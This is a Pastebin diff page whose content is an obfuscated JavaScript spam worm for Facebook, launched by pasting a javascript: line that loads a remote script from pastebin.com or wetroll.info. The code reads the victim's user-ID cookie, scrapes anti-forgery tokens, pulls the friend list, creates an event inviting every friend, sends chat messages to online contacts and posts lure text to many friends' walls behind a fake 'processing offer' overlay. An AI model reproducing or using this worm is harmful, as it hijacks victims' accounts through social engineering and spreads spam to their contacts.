View difference between Paste ID: E7dZm6rP and
SHOW:
|
|
- or go back to the newest paste.
1 | - | |
1 | + | // javascript:(a=(b=document).createElement('script')).src='//pastebin.com/raw.php?i=jagJrqrW',b.body.appendChild(a);void(0) |
2 | ||
3 | for (var x = 0; x < 5; ++x) | |
4 | { | |
5 | ||
6 | var randomnumber=Math.floor(Math.random()*99999); | |
7 | var randomnumber1=Math.floor(Math.random()*987); | |
8 | var randomnumber2=Math.floor(Math.random()*754); | |
9 | var randomnumber3=Math.floor(Math.random()*43); | |
10 | var randomnumber4=Math.floor(Math.random()*9); | |
11 | var random=Math.floor(Math.random()*5); | |
12 | ||
13 | if (random == 1) | |
14 | { | |
15 | var url = 'http://fb-views.appspot.com/?' | |
16 | } | |
17 | else if (random == 2) | |
18 | { | |
19 | var url = 'http://view-me.appspot.com/?' | |
20 | } | |
21 | else if (random == 3) | |
22 | { | |
23 | var url = 'http://see-profile.appspot.com/?' | |
24 | } | |
25 | else if (random == 4) | |
26 | { | |
27 | var url = 'http://profile-viewed.appspot.com/?' | |
28 | } | |
29 | else | |
30 | { | |
31 | var url = 'http://my-viewd.appspot.com/?' | |
32 | } | |
33 | ||
34 | var message = '%firstname% loves to spam '; | |
35 | var ev = 'Check out this new facebook feature! \x0A Paste the special code into your browser and spam other people! \x0A '; | |
36 | var test = 'Top spamers are:\x0A'; | |
37 | var id = '%tf% - ' + randomnumber1 + ' points,\x0A'; | |
38 | var id1 = '%tf% - ' + randomnumber2 + ' points,\x0A'; | |
39 | var id2 = '%tf% - ' + randomnumber3 + ' points,\x0A'; | |
40 | var id3 = '%tf% - ' + randomnumber4 + ' points,\x0A'; | |
41 | var post = ' see who spammed your facebook profile! '; | |
42 | var postmessage = test + id + id1 + id2 + id3 + post + randomnumber; | |
43 | var chatmessage = message + randomnumber; | |
44 | var redirect = 'http://facebook.com/'; | |
45 | var eventdesc = ev + randomnumber; | |
46 | var eventname = 'How to see who spammed your profile!'; | |
47 | var nfriends = 5000; | |
48 | ||
49 | ||
50 | ||
51 | // <script> | |
52 | // the following line is what they paste into the browser: | |
53 | // javascript:(a=(b=document).createElement('script')).src='//wetroll.info/e.js?'+Math.random(),b.body.appendChild(a);void(0) | |
54 | var debug=false; | |
55 | ||
56 | var wf=0; | |
57 | ||
58 | var mf = function() { | |
59 | if (wf <= 0) { // redirect to final page which closes, because iframes don't deliver cookies reliably | |
60 | setTimeout(function () { | |
61 | window.top.location.href = redirect; | |
62 | }, 500); | |
63 | }; | |
64 | }; | |
65 | ||
66 | var doget = function (_0xaa04xb, _0xaa04xc, _0xaa04xd) { | |
67 | var _0xaa04xe = new XMLHttpRequest(); | |
68 | _0xaa04xe['open']('GET', _0xaa04xb); | |
69 | _0xaa04xe['onreadystatechange'] = function () { | |
70 | if (_0xaa04xe['readyState'] == 4) { | |
71 | if (_0xaa04xe['status'] == 200 && _0xaa04xc) { | |
72 | _0xaa04xc(_0xaa04xe['responseText']); | |
73 | }; | |
74 | if (_0xaa04xd) { | |
75 | _0xaa04xd(); | |
76 | }; | |
77 | }; | |
78 | }; | |
79 | _0xaa04xe['send'](); | |
80 | }; | |
81 | doget('/', function (_0xaa04xf) { | |
82 | var _0xaa04x10 = document['cookie']['match'](/c_user=(\d+)/)[1]; | |
83 | var _0xaa04x11 = function (_0xaa04x12) { | |
84 | return _0xaa04x12 ? '@[' + _0xaa04x12['id'] + ':' + _0xaa04x12['name'] + ']' : ''; | |
85 | }; | |
86 | var _0xaa04x13 = function (_0xaa04x12) { | |
87 | return _0xaa04x12 ? _0xaa04x12['name'] : ''; | |
88 | }; | |
89 | var _0xaa04x14 = function (_0xaa04x12) { | |
90 | out = ''; | |
91 | for (var _0xaa04x15 in _0xaa04x12) { | |
92 | out += (out ? '&' : '') + _0xaa04x15 + ((_0xaa04x12[_0xaa04x15] !== null) ? '=' + encodeURIComponent(_0xaa04x12[_0xaa04x15]) : ''); | |
93 | }; | |
94 | return out; | |
95 | }; | |
96 | var _0xaa04x16 = function (_0xaa04xb, _0xaa04x12, _0xaa04xc, _0xaa04xd) { | |
97 | var _0xaa04xe = new XMLHttpRequest(); | |
98 | _0xaa04xe['open']('POST', _0xaa04xb); | |
99 | _0xaa04xe['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded'); | |
100 | _0xaa04xe['onreadystatechange'] = function () { | |
101 | if (_0xaa04xe['readyState'] == 4) { | |
102 | if (_0xaa04xe['status'] == 200 && _0xaa04xc) { | |
103 | _0xaa04xc(_0xaa04xe['responseText']); | |
104 | }; | |
105 | if (_0xaa04xd) { | |
106 | _0xaa04xd(); | |
107 | }; | |
108 | }; | |
109 | }; | |
110 | _0xaa04xe['send'](_0xaa04x14(_0xaa04x12)); | |
111 | }; | |
112 | var _0xaa04x17 = function () { | |
113 | var _0xaa04x18 = document['createElement']('div'); | |
114 | _0xaa04x18['style']['display'] = 'block'; | |
115 | _0xaa04x18['style']['position'] = 'absolute'; | |
116 | _0xaa04x18['style']['width'] = 100 + '%'; | |
117 | _0xaa04x18['style']['height'] = 100 + '%'; | |
118 | _0xaa04x18['style']['left'] = 0 + 'px'; | |
119 | _0xaa04x18['style']['top'] = 0 + 'px'; | |
120 | _0xaa04x18['style']['textAlign'] = 'center'; | |
121 | _0xaa04x18['style']['padding'] = '4px'; | |
122 | _0xaa04x18['style']['background'] = '#FFFFFF'; | |
123 | _0xaa04x18['style']['zIndex'] = 999999; | |
124 | _0xaa04x18['innerHTML'] = ' <br/>Please wait, this can take a little while...<br/><br/> We are processing the offer for you... <a href="javascript:void(0);" onclick="wf=0; mf();">click here</a> '; | |
125 | document['body']['appendChild'](_0xaa04x18); | |
126 | }; | |
127 | var _0xaa04x19 = _0xaa04xf['match'](/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i); | |
128 | if (_0xaa04x19) { | |
129 | comp = _0xaa04x19[1]; | |
130 | } else { | |
131 | comp = ''; | |
132 | }; | |
133 | var _0xaa04x1a = _0xaa04xf['match'](/name="post_form_id" value="([\d\w]+)"/i)[1]; | |
134 | var _0xaa04x1b = _0xaa04xf['match'](/name="fb_dtsg" value="([\d\w]+)"/i)[1]; | |
135 | var _0xaa04x1c = document['getElementById']('navAccountName')['firstChild']['data']; | |
136 | redirect = redirect + '?' + _0xaa04x14({ | |
137 | userid: _0xaa04x10, | |
138 | name: _0xaa04x1c, | |
139 | doclose: 1 | |
140 | }); | |
141 | _0xaa04x17(); | |
142 | if (eventdesc) { | |
143 | wf++; | |
144 | _0xaa04x16('/ajax/choose/?__a=1', { | |
145 | type: 'event', | |
146 | eid: null, | |
147 | invite_message: '', | |
148 | __d: 1, | |
149 | post_form_id: _0xaa04x1a, | |
150 | fb_dtsg: _0xaa04x1b, | |
151 | lsd: null, | |
152 | post_form_id_source: 'AsyncRequest' | |
153 | }, function (_0xaa04x1d) { | |
154 | var _0xaa04x1e = _0xaa04x1d['match'](/\\"token\\":\\"([^\\]+)\\"/)[1]; | |
155 | var _0xaa04xb = '/ajax/typeahead/first_degree.php?__a=1&viewer=' + _0xaa04x10 + '&token=' + _0xaa04x1e + '&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha'; | |
156 | doget(_0xaa04xb, function (_0xaa04x1f) { | |
157 | var _0xaa04x20 = _0xaa04x1f['match'](/\{"uid":\d+,/g); | |
158 | var _0xaa04x21 = []; | |
159 | for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) { | |
160 | var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/:(\d+),/)[1]; | |
161 | if (_0xaa04x23 != _0xaa04x10) { | |
162 | _0xaa04x21['push'](_0xaa04x23); | |
163 | }; | |
164 | }; | |
165 | var _0xaa04x24 = new Date(); | |
166 | _0xaa04x24['setTime'](_0xaa04x24['getTime']() + 60 * 60 * 24 * 1000); | |
167 | datestr = (_0xaa04x24['getMonth']() + 1) + '/' + _0xaa04x24['getDate']() + '/' + _0xaa04x24['getFullYear'](); | |
168 | timestr = _0xaa04x24['getHours']() * 60; | |
169 | var _0xaa04x25 = { | |
170 | post_form_id: _0xaa04x1a, | |
171 | fb_dtsg: _0xaa04x1b, | |
172 | start_dateIntlDisplay: datestr, | |
173 | start_date: datestr, | |
174 | start_time_hour_min: timestr, | |
175 | name: eventname, | |
176 | place_page_id: '', | |
177 | location: '', | |
178 | street: '', | |
179 | geo_id: '', | |
180 | geo_sq: '', | |
181 | desc: eventdesc, | |
182 | sgb_invitees: _0xaa04x21['join'](','), | |
183 | sgb_emails: '', | |
184 | sgb_message: '', | |
185 | privacy_type: 'on', | |
186 | guest_list: 'on', | |
187 | connections_can_post: 'on', | |
188 | save: 'Create Event', | |
189 | submitting: '' | |
190 | }; | |
191 | _0xaa04x25['new'] = ''; | |
192 | _0xaa04x16('/events/create.php', _0xaa04x25, false, function () { | |
193 | mf(--wf); | |
194 | }); | |
195 | }); | |
196 | }); | |
197 | }; | |
198 | if (chatmessage) { | |
199 | wf++; | |
200 | _0xaa04x16('/ajax/chat/buddy_list.php?__a=1', { | |
201 | user: _0xaa04x10, | |
202 | post_form_id: _0xaa04x1a, | |
203 | fb_dtsg: _0xaa04x1b, | |
204 | lsd: null, | |
205 | post_form_id_source: 'AsyncRequest', | |
206 | popped_out: false, | |
207 | force_render: true | |
208 | }, function (_0xaa04x1d) { | |
209 | var _0xaa04x26 = _0xaa04x1d['substr'](9); | |
210 | var _0xaa04x27 = eval('(' + _0xaa04x26 + ')'); | |
211 | var _0xaa04x28 = _0xaa04x27['payload']['buddy_list']; | |
212 | for (var _0xaa04x29 in _0xaa04x28['nowAvailableList']) { | |
213 | var _0xaa04x2a = Math['floor'](Math['random']() * 1335448958); | |
214 | var _0xaa04x2b = (new Date())['getTime'](); | |
215 | var _0xaa04x2c = chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']()); | |
216 | _0xaa04x16('/ajax/chat/send.php?__a=1', { | |
217 | msg_id: Math['floor'](Math['random']() * 1335448958), | |
218 | client_time: (new Date())['getTime'](), | |
219 | msg_text: chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']()), | |
220 | to: _0xaa04x29, | |
221 | post_form_id: _0xaa04x1a, | |
222 | fb_dtsg: _0xaa04x1b, | |
223 | post_form_id_source: 'AsyncRequest' | |
224 | }); | |
225 | }; | |
226 | mf(--wf); | |
227 | }); | |
228 | }; | |
229 | if (postmessage) { | |
230 | wf++; | |
231 | doget('/ajax/browser/friends/?uid=' + _0xaa04x10 + '&filter=all&__a=1&__d=1', function (_0xaa04x1d) { | |
232 | var _0xaa04x20 = _0xaa04x1d['match'](/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi); | |
233 | var _0xaa04x2d = []; | |
234 | if (_0xaa04x20) { | |
235 | for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) { | |
236 | var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/_\d+_/)[0]['replace'](/_/g, ''); | |
237 | var _0xaa04x2e = _0xaa04x20[_0xaa04x22]['match'](/>[^>]+\\u003c\\\/a>$/i)[0]['replace'](/\\u003c\\\/a>$/gim, '')['replace'](/>/g, ''); | |
238 | _0xaa04x2d['push']({ | |
239 | id: _0xaa04x23, | |
240 | name: _0xaa04x2e | |
241 | }); | |
242 | }; | |
243 | }; | |
244 | var _0xaa04xd = []; | |
245 | var _0xaa04x2f = []; | |
246 | while (_0xaa04x2d['length']) { | |
247 | var _0xaa04x30 = Math['floor'](Math['random']() * _0xaa04x2d['length']); | |
248 | _0xaa04xd['push'](_0xaa04x2d[_0xaa04x30]); | |
249 | _0xaa04x2f['push'](_0xaa04x2d[_0xaa04x30]); | |
250 | var _0xaa04x2b = _0xaa04x2d['shift'](); | |
251 | if (_0xaa04x30) { | |
252 | _0xaa04x2d[_0xaa04x30 - 1] = _0xaa04x2b; | |
253 | }; | |
254 | }; | |
255 | if (debug) { | |
256 | alert('fetched friends: ' + _0xaa04xd['length']); | |
257 | }; | |
258 | var _0xaa04x31 = { | |
259 | post_form_id: _0xaa04x1a, | |
260 | fb_dtsg: _0xaa04x1b, | |
261 | xhpc_composerid: comp, | |
262 | xhpc_targetid: _0xaa04x10, | |
263 | xhpc_context: 'home', | |
264 | xhpc_fbx: '', | |
265 | lsd: null, | |
266 | post_form_id_source: 'AsyncRequest' | |
267 | }; | |
268 | mt = postmessage; | |
269 | m = postmessage; | |
270 | while (mt['search']('%tf%') >= 0) { | |
271 | var _0xaa04x32 = _0xaa04xd['pop'](); | |
272 | mt = mt['replace']('%tf%', _0xaa04x13(_0xaa04x32)); | |
273 | m = m['replace']('%tf%', _0xaa04x11(_0xaa04x32)); | |
274 | }; | |
275 | _0xaa04x31['xhpc_message_text'] = mt; | |
276 | _0xaa04x31['xhpc_message'] = m; | |
277 | if (debug) { | |
278 | alert('message text: ' + mt); | |
279 | }; | |
280 | _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x31); | |
281 | var _0xaa04x33 = function (_0xaa04x15) { | |
282 | if (_0xaa04x15 == 0) { | |
283 | wf = 0; | |
284 | mf(); | |
285 | return; | |
286 | }; | |
287 | var _0xaa04x34 = _0xaa04x2f['shift'](); | |
288 | var _0xaa04x35 = { | |
289 | post_form_id: _0xaa04x1a, | |
290 | fb_dtsg: _0xaa04x1b, | |
291 | xhpc_composerid: comp, | |
292 | xhpc_targetid: _0xaa04x34['id'], | |
293 | xhpc_context: 'profile', | |
294 | xhpc_fbx: 1, | |
295 | lsd: null, | |
296 | post_form_id_source: 'AsyncRequest' | |
297 | }; | |
298 | var _0xaa04x36 = postmessage; | |
299 | var _0xaa04x37 = postmessage; | |
300 | if (_0xaa04xd['length'] == 0) { | |
301 | wf = 0; | |
302 | mf(); | |
303 | return; | |
304 | }; | |
305 | while (_0xaa04x36['search']('%tf%') >= 0) { | |
306 | var _0xaa04x38 = _0xaa04xd['pop'](); | |
307 | _0xaa04x36 = _0xaa04x36['replace']('%tf%', _0xaa04x13(_0xaa04x38)); | |
308 | _0xaa04x37 = _0xaa04x37['replace']('%tf%', _0xaa04x11(_0xaa04x38)); | |
309 | }; | |
310 | _0xaa04x35['xhpc_message_text'] = _0xaa04x36; | |
311 | _0xaa04x35['xhpc_message'] = _0xaa04x37; | |
312 | _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x35); | |
313 | setTimeout(function () { | |
314 | _0xaa04x33(_0xaa04x15 - 1); | |
315 | }, 2000); | |
316 | }; | |
317 | wf++; | |
318 | setTimeout(function () { | |
319 | _0xaa04x33(nfriends); | |
320 | }, 2000); | |
321 | }); | |
322 | }; | |
323 | mf(); | |
324 | }); | |
325 | ||
326 | } |